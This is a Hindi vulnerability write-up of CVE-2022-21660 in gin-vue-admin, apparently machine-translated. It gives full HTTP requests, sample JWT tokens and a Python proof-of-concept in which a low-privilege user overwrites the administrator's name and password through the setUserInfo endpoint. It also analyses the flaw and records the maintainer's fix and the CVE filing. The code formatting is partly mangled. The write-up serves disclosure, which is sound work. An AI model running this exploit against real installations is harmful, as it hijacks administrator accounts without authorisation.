
CVE-2022-21660
सभी दिग्गजों का स्वागत है, इस प्रोजेक्ट को एक स्टार दें```http https://github.com/flipped-aurora/gin-vue-admin/

लेख लिखने के बाद, CVE के लिए आवेदन करने में कुछ परेशानी हुई, लेकिन अच्छी बात यह रही कि अंततः आवेदन सफल रहा, github के कर्मचारियों ने तुरंत प्रतिक्रिया दी
> ps: CVE के लिए आवेदन करने से पहले, हमने CNVD पहले ही जमा कर दिया था

### 2. पर्यावरण सेटअप
आधिकारिक ट्यूटोरियल के अनुसार```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
फिर server डायरेक्टरी में जाएँ```bash go generate
```bash
go build -o server main.go
फिर सीधे server चलाएं

इसके बाद WEB है, web निर्देशिका में प्रवेश करें, इनपुट करें```bash cnpm install || npm install
फिर बस प्रतीक्षा करें

इंस्टॉलेशन पूरा होने के बाद अपने आप WEB पेज खुल जाएगा


फिर डेटाबेस की जानकारी को इनिशियलाइज़ करें

कॉन्फ़िगर करने के बाद इनिशियलाइज़ पर क्लिक करें, फिर लॉगिन करें

### 3. दोष पुनरुत्पादन
### SetUserInfo में ऊर्ध्वाधर अनधिकृत पहुँच मौजूद है
##### 1. SetUserInfo इंटरफ़ेस के माध्यम से उपयोगकर्ता की व्यक्तिगत जानकारी अनधिकृत रूप से सेट करना
हम सीधे उपयोगकर्ता प्रबंधन पृष्ठ पर जाते हैं और एक नई निम्न-विशेषाधिकार वाली उपयोगकर्ता भूमिका जोड़ते हैं।

ऊपर देखा जा सकता है कि व्यवस्थापक का विशेषाधिकार नहीं दिया गया है। इसके बाद एक नया खाता बनाकर इस भूमिका समूह को सौंपें।


दोष उत्पन्न होने का स्थान https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go की पंक्ति 273 पर है।
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
यहाँ पास किए गए ID का कोई सत्यापन नहीं है; ID उपयोगकर्ता का प्रतिनिधित्व करता है, बस निर्दिष्ट ID सीधे पास करने पर संबंधित उपयोगकर्ता की व्यक्तिगत जानकारी संशोधित की जा सकती है।

पहले हम एडमिन के X-token का उपयोग करके ID 1 वाले उपयोगकर्ता का नाम बदलकर test1 करने का परीक्षण करते हैं, फिर हम बैकएंड में देख सकते हैं कि एडमिन का ID पहले ही test1 में बदल दिया गया है।

अब, हम अभी बनाए गए UzJu_HxSecTeam खाते के Token को बदलकर डालते हैं, और एडमिन का उपयोगकर्ता नाम test2 में बदल देते हैं।
पहले हम UzJu_HxSecTeam के खाते की व्यक्तिगत जानकारी > पासवर्ड बदलें पर जाकर कोई भी पासवर्ड बदलते हैं, फिर खाते का Token प्राप्त करते हैं।

यह Token उस कम-विशेषाधिकार वाली भूमिका का है; सामान्य रूप से कम-विशेषाधिकार वाला उपयोगकर्ता एडमिन की किसी भी जानकारी को संशोधित नहीं कर सकता है।```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
हम Token को प्रतिस्थापित करके निम्नलिखित JSON डेटा बनाएंगे।```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

हम Token को setUserinfo इंटरफ़ेस में बदल देंगे```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
फिर हमें संकेत मिलता है कि सेटिंग सफल रही

यह हमारे द्वारा एडमिन खाते में स्विच करके यह देखना है कि क्या इसे test2 में बदल दिया गया है

हम देख सकते हैं कि एडमिन उपयोगकर्ता को सफलतापूर्वक संशोधित कर दिया गया है
##### 2、SetUserInfo इंटरफ़ेस में ऊर्ध्वाधर अनधिकृत पहुँच द्वारा बिना शर्त एडमिन पासवर्ड बदलना
डिबग करते समय पता चला कि अनधिकृत रूप से व्यक्तिगत जानकारी सेट करने वाले इंटरफ़ेस setUserInfo में केवल id, username, nickname,headimg ही सेट नहीं किए जा सकते, बल्कि password जैसे पैरामीटर भी पास किए जा सकते हैं

उदाहरण के लिए, हम एक अनुरोध बनाते हैं, जिसमें ID 1 वाले उपयोगकर्ता का नाम admin और उपनाम सुपरयूज़र एडमिन सेट किया जाता है
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
इस समय व्यवस्थापक का पासवर्ड पहले ही बदलकर qwe@123 कर दिया गया है, लॉगिन करने का प्रयास करें

फिर सफलतापूर्वक लॉगिन करें

PS: यहाँ एक पूर्वशर्त है, हमें उस उपयोगकर्ता का पासवर्ड जानना आवश्यक है जिसे हम बदलना चाहते हैं
पहले हम जानते हैं कि डिफ़ॉल्ट admin पासवर्ड 123456 है, इस समय हमें केवल Json डेटा तैयार करने की आवश्यकता है, Json डेटा में username पैरामीटर को उस उपयोगकर्ता नाम में बदलें जिसे हम अनधिकृत रूप से बदलना चाहते हैं
पहले हम कम-विशेषाधिकार वाले खाते में लॉगिन करते हैं, और एक बार पासवर्ड बदलते हैं

हम एक changePassword अनुरोध पकड़ेंगे, फिर इस अनुरोध को Repeater में डालेंगे

फिर हमें केवल username पैरामीटर को admin में बदलने की आवश्यकता है

फिर यह हमें सूचित करेगा कि संशोधन सफल रहा, और फिर हम नए पासवर्ड से admin में लॉगिन करते हैं

फिर सफलतापूर्वक लॉगिन करें

कमजोरी का स्थान https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, पंक्ति 139 पर है```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> यहाँ एक विवाद है, कि चूँकि हम दूसरे का खाता और पासवर्ड जानते हैं, तो क्या सीधे उसके खाते में लॉगिन नहीं कर सकते? वास्तव में ऐसा ही है, लेकिन हमारे प्रोग्राम की तार्किक प्रक्रिया यह है कि हम पहले ही प्रमाणीकरण (authentication) पूरा कर चुके हैं, सामान्य रूप से मेरा वर्तमान उपयोगकर्ता केवल अपना पासवर्ड बदल सकता है, परन्तु यहाँ ID बदलकर दूसरे का पासवर्ड बदला जा सकता है। दूसरे दृष्टिकोण से देखें तो इसे ब्रूट फोर्स भी माना जा सकता है, क्योंकि लॉगिन पृष्ठ पर कैप्चा (CAPTCHA) सत्यापन होता है।
### 4. भेद्यता का सिद्धांत विश्लेषण
> ps: नीचे दी गई सभी सामग्री एक स्क्रिप्ट किडी (script kiddie) की समझ है, जिसने पूरी तरह से Go नहीं सीखा है, विकास भी नहीं किया है, और केवल Python जानता है।
सबसे पहले सामान्य व्यावसायिक तर्क (business logic) से देखें तो यहाँ अनधिकृत पहुँच (privilege escalation) क्यों होती है? वास्तव में सिद्धांत काफी सरल है। मुख्य रूप से, जब हम नई भूमिका अनुमतियाँ (role permissions) बनाते हैं, कुछ अनिवार्य पैरामीटर होते हैं, यानी इन पैरामीटरों को चुनने के बाद ही उपयोगकर्ता को अनधिकृत पहुँच का अवसर मिलता है (लेकिन इन्हें चुनना छोड़ा नहीं जा सकता, क्योंकि ये डिफ़ॉल्ट अनिवार्य पैरामीटर हैं)। वास्तव में अंततः समस्या कोड में ही तार्किक रूप से मौजूद है।

सबसे पहले, भूमिका बनाने के बाद, हम भूमिका की अनुमतियाँ देखते हैं।

हम देख सकते हैं कि डिफ़ॉल्ट रूप से बनाई गई उपयोगकर्ता अनुमति में, भूमिका मेनू में केवल एक अनुमति है जो डैशबोर्ड (dashboard) तक पहुँच सकती है, लेकिन जब हम भूमिका की API अनुमतियाँ देखते हैं, तो पता चलता है।

यहाँ कुछ अनिवार्य अनुमतियाँ हैं:
+ उपयोगकर्ता पंजीकरण
+ उपयोगकर्ता जानकारी सेट करना
+ अपनी जानकारी प्राप्त करना
+ पासवर्ड बदलना
+ उपयोगकर्ता भूमिका बदलना
यही इस भेद्यता का स्रोत भी है। सबसे पहले, 'उपयोगकर्ता जानकारी सेट करना' है; यदि हम इसका चयन रद्द कर दें।

फिर हम कम अनुमति वाले भूमिका समूह के खाते का Token Burp में डालकर प्रयास करते हैं।
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
यह स्पष्ट रूप से देखा जा सकता है कि अब हमारे पास इन उपयोगकर्ता जानकारियों को सेट करने की अनुमति नहीं है, और Go के Debug पेज पर भी हम आसानी से कोड लॉजिक देख सकते हैं। जैसे अभी हमारे पास उपयोगकर्ता जानकारी सेट करने की अनुमति नहीं है, लेकिन कोड में सैद्धांतिक रूप से, जब मैंने इस इंटरफ़ेस को एक्सेस किया, तो मेरा Debug ब्रेकपॉइंट इंटरसेप्ट हो जाना चाहिए था। लेकिन जैसा नीचे चित्र में है, ब्रेकपॉइंट लगाने के बाद भी प्रोग्राम रुका ही नहीं।

यहाँ से यह अनुमान लगाया जा सकता है कि इस ऑपरेशन से पहले एक प्रमाणीकरण (Authentication) ऑपरेशन होना चाहिए (सामान्यतः यह rbac होना चाहिए)। अब हम निम्न-अनुमति वाले रोल समूह को उपयोगकर्ता सेट करने की अनुमति देते हैं, फिर हम रीप्ले करके देखते हैं।


हम देख सकते हैं कि प्रोग्राम सफलतापूर्वक यहाँ रुक गया, तो मुझे लगता है कि (Go के शुरुआती व्यक्ति) Debug के माध्यम से यहाँ के प्रमाणीकरण को ढूँढा जा सकता है :)
पहले Mac में command कुंजी + माउस बायाँ बटन दबाकर देखें कि इस फ़ंक्शन को कहाँ कॉल किया गया है।

फिर देखा जा सकता है कि यहाँ उपयोगकर्ता रूटिंग को इनिशियलाइज़ करने वाला एक फ़ंक्शन InitUserRouter है।

फिर पुराने तरीके से, Command + माउस बायाँ बटन से देखें कि InitUserRoute को कहाँ कॉल किया गया है।

यहाँ ध्यान दें, एक JWTAuth() और एक middleware.CasbinHandler() है।
पहले हम middleware.JWTAuth() को देखते हैं, फिर से पुराना तरीका Command + माउस बायाँ बटन।

फिर एक jwt.go पर आते हैं, यहाँ की लॉजिक को हम देख सकते हैं (बेशक लेखक द्वारा लिखी गई कुछ टिप्पणियों के लिए भी धन्यवाद)।

Go में token := शायद एक वेरिएबल घोषित करने के लिए है जो अनुरोध के header में x-token प्राप्त करता है। सबसे पहले यह जाँचा जाता है कि token खाली है या नहीं, अगर खाली है तो सीधे "उपयोगकर्ता लॉगिन नहीं है या अवैध एक्सेस" लौटा दिया जाता है।

इसके बाद यह जाँचा जाता है कि उपयोगकर्ता का token ब्लैकलिस्ट में है या नहीं। यहाँ यह शायद कैश या उपयोगकर्ता के लॉगआउट के माध्यम से जाँचा जाता है कि क्या यह token अब अमान्य हो गया है। अगर अमान्य हो गया है, तो यह लौटाकर उपयोगकर्ता को बताता है कि "अन्य स्थान से लॉगिन हुआ है या token अमान्य है"।

यहाँ पहले इसे ParseToken फ़ंक्शन को Token पार्स करने के लिए भेजा जाता है, हम वहाँ देख सकते हैं।

समझ नहीं आया कि jwt.ParseWithClaims क्या है... पारंपरिक कौशल, google.com।

यहाँ JWT एन्क्रिप्शन/डिक्रिप्शन के लिए है, फिर एक SigningKey लौटाता है, और आगे बढ़ते हैं।
लेखक के मार्गदर्शन के लिए धन्यवाद: यहाँ प्रवेश किए गए jwt token स्ट्रिंग को पार्स किया जाता है, jwt.Token स्ट्रक्चर प्राप्त होता है, फिर स्ट्रक्चर से Claims पार्स करके वह उपयोगकर्ता जानकारी प्राप्त की जाती है जो हमने token बनाते समय उस पर लगाई थी।

Google के माध्यम से पता चला कि ValidationErrorMalformed का उपयोग यह जाँचने के लिए किया जाता है कि यह गलत token है या नहीं, फिर ValidationErrorExpired से यह जाँचा जाता है कि token समाप्त हुआ है या नहीं, फिर ValidationErrorNotValidYet से यह जाँचा जाता है कि token सक्रिय है या नहीं, और फिर रिटर्न हो जाता है। हालाँकि नीचे कोड का एक और हिस्सा भी है।

फिर यह जाँचा जाता है कि token समाप्त हुआ है या नहीं, अगर समाप्त नहीं हुआ है, तो reload पर पहुँचते हैं, फिर हम middleware.CasbinHandler() पर आते हैं।

सबसे पहले utils.GetClaims में प्रवेश करते हैं और एक पैरामीटर पास करते हैं।

यहाँ यह फ़ंक्शन x-token प्राप्त करने के लिए उपयोग होता है, फिर token को पार्स करके जाँचता है कि यह समाप्त हुआ है या नहीं।

फिर उपयोगकर्ता की भूमिका (role) की जाँच होती है, यहाँ का 1234, यानी वह भूमिका समूह ID जो हमने web में सेट की है।


फिर casbinService.Casbin() में प्रवेश करते हैं, पारंपरिक कौशल, सीधे Baidu करते हैं।

पहले के अनुमान से काफी मिलता-जुलता, rbac अनुमति नियंत्रण। यहाँ डेटाबेस से कनेक्शन होता है, फिर यहाँ F7 स्टेप-इन करके देखा, लेकिन समझ नहीं आया, पीछे हट गया।

टिप्पणियों से अनुमान लगाया जा सकता है, यहाँ अनुमति जाँची जाती है।
मशीनी अनुवाद: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).
Enforce यह निर्धारित करता है कि कोई "subject" ऑपरेशन "action" के साथ किसी "object" तक पहुँच सकता है या नहीं, इनपुट पैरामीटर सामान्यतः: (sub, obj, act) होते हैं।

फिर यह जाँचा जाता है कि क्या यह डेवलपमेंट एनवायरनमेंट है, और success का मान false है। यहाँ || का अर्थ है "या", यानी या तो सफल होगा, या "अनुमति अपर्याप्त" का संकेत दिखेगा।
अब देखते हैं कि अनुमति मिलने के बाद, privileged setuserinfo इंटरफ़ेस कैसे काम करता है। पहले हम इंटरसेप्टर पर एक ब्रेकपॉइंट लगाते हैं।

टिप: Baidu से पता चला कि यहाँ golang का casbin एक्सेस कंट्रोल फ्रेमवर्क उपयोग हो रहा है।
फिर setuserinfo पर भी एक ब्रेकपॉइंट लगाते हैं।

क्योंकि प्रोग्राम लॉजिक में इंटरसेप्टर setuserinfo से पहले आता है, इसलिए हम इंटरसेप्टर से डिबगिंग शुरू करते हैं।
Burp से अनुरोध भेजने के बाद, कुछ देर प्रतीक्षा करते हैं, अब हम स्टेप-बाय-स्टेप डिबग करके देखते हैं।

इस समय हमारा रोल समूह 1234 है।

फिर डेटाबेस से कनेक्शन होता है, उसके बाद अनुमति की जाँच होती है।


यहाँ true लौटा है, जिसका अर्थ है कि अनुमति मौजूद है। फिर यह जाँचा जाता है कि यह डेवलपमेंट एनवायरनमेंट है या success true है। यहाँ पहला if ज़रूर पार होगा।
फिर हम setuserinfo इंटरफ़ेस पर पहुँचते हैं।

shouldBindJson ने Json पैरामीटर को बाइंड किया।

फिर यहाँ, शायद यह जाँचने के लिए है कि प्रवेश किए गए Json पैरामीटर सही हैं या नहीं।

नीचे सीधे userid को इसमें डाल दिया गया है।

यहाँ का ID हमारे फ्रंटएंड से भेजा गया है, इसे मनमाने ढंग से बदला जा सकता है, इसलिए इससे अधिकार उल्लंघन (越权) होता है।


फिर डेटाबेस में डालने के बाद, अपडेट करके लौटता है।

फिर अपडेट सफल होता है।
मुख्य प्रमाणीकरण संचालन मुख्यतः cashbin.rbac.go फ़ाइल में CasbinHandler फ़ंक्शन, विशेष रूप से casbinService.Casbin() और e.Enforce(sub, obj, act) में होता है।
यहाँ मेरी अधिकार उल्लंघन की समझ यह है कि अगर उपयोगकर्ता जानकारी सेट करने की अनुमति दी गई है, तो डिफ़ॉल्ट रूप से यह उपयोगकर्ता अनुमति नियमों में उपयोगकर्ता जानकारी संशोधित कर सकता है। फिर संशोधित करते समय, ID को दूसरे व्यक्ति के ID से बदलने पर दूसरे व्यक्ति की जानकारी संशोधित की जा सकती है।
यहाँ तक समझा जा सकता है: पहले प्रमाणीकरण AuthorityId की जाँच करता है, कि उपयोगकर्ता को किसी इंटरफ़ेस को संचालित करने की अनुमति है या नहीं।

लेकिन setuserinfo में उपयोग होने वाला ID उपयोगकर्ता का खाता ID है।

इसलिए अधिकार उल्लंघन होता है, क्योंकि यह ID फ्रंटएंड से भेजते समय नियंत्रित किया जा सकता है, और प्रमाणीकरण के बाद भी होता है। लेखक के साथ संवाद करने के बाद, उन्होंने समझाया कि फिक्स भी काफी सरल है; बस user.id को बलपूर्वक JWT के संगत अनुमति ID पर असाइन कर देना चाहिए। इससे अधिकार उल्लंघन नहीं होगा, क्योंकि फ्रंटएंड कैसे भी भेजे, अंततः कोड में एक पंक्ति ऐसी होगी जो user.id के मान को वर्तमान JWT के संगत id में बदल देगी।
लेकिन व्यावसायिक प्रवाह लॉजिक में, ये अनुमतियाँ देना अनिवार्य है, क्योंकि अगर न दें, तो वर्तमान उपयोगकर्ता अपनी जानकारी संशोधित नहीं कर पाएगा।

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
check_interface_ChangePassword यह विधि क्यों नहीं लिखी गई, इसका कारण यह है कि यह एक ब्रूट-फोर्स प्रकार का इंटरफ़ेस है, क्योंकि किसी भी उपयोगकर्ता का पासवर्ड बदलने से पहले, हमें उस खाते का पासवर्ड जानना आवश्यक होता है जिसे बदलना है, यह ब्रूट-फोर्स जैसा ही है, इसलिए इसे यहाँ नहीं लिखा गया है। फिर checkvuln विधि की बात करें तो payload_data इस json डेटा में id को वास्तव में मनमाने ढंग से बदला जा सकता है, या for लूप लिखकर ट्रैवर्स किया जा सकता है, क्योंकि वास्तविक वातावरण में यह निश्चित नहीं है कि व्यवस्थापक की ID 1 है या नहीं, या यदि दुर्भावनापूर्ण तोड़-फोड़ होती है, तो इसका कुछ प्रभाव भी पड़ सकता है।

### 六、CVE आवेदन
> CNVD की बात तो छोड़ ही दीजिए, निश्चित रूप से वहाँ भी सबमिट कर दिया गया है, यहाँ CVE के लिए आवेदन किया जा रहा है।
>
> GitHub द्वारा प्रॉक्सी आवेदन पर नंबर बहुत जल्दी आ जाता है, अधिकतम 3 दिन, यहाँ उसी दिन सबमिट किया गया था और अगली सुबह ही CVE का प्री-अलॉटेड नंबर मिल गया था।
>
> निम्नलिखित कार्यों के लिए लेखक से संपर्क करके उनसे कराना आवश्यक है, अन्यथा New Draft security advisory यह बटन उपलब्ध नहीं होगा।



Description में भेद्यता की सामग्री, पुनरुत्पादन प्रक्रिया और POC लिखें, फिर create draft security advisory पर क्लिक करें।
**चूँकि हम उस समय पहली बार इसके लिए आवेदन कर रहे थे, हमने एक गलती की, केवल एक ड्राफ्ट सूचीबद्ध किया और अनुरोध नहीं किया, जिसके कारण हमें व्यर्थ में 7 दिन इंतज़ार करना पड़ा।**

लिखने के बाद नीचे तक जाकर request cve id पर क्लिक करना सुनिश्चित करें।


> संदर्भ लेख: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### 七、आभार
+ लेखक टीम का होमपेज: https://github.com/flipped-aurora/
+ लेखक का GitHub: https://github.com/piexlmax
+ Gin-vue-admin प्रोजेक्ट पता: https://github.com/flipped-aurora/gin-vue-admin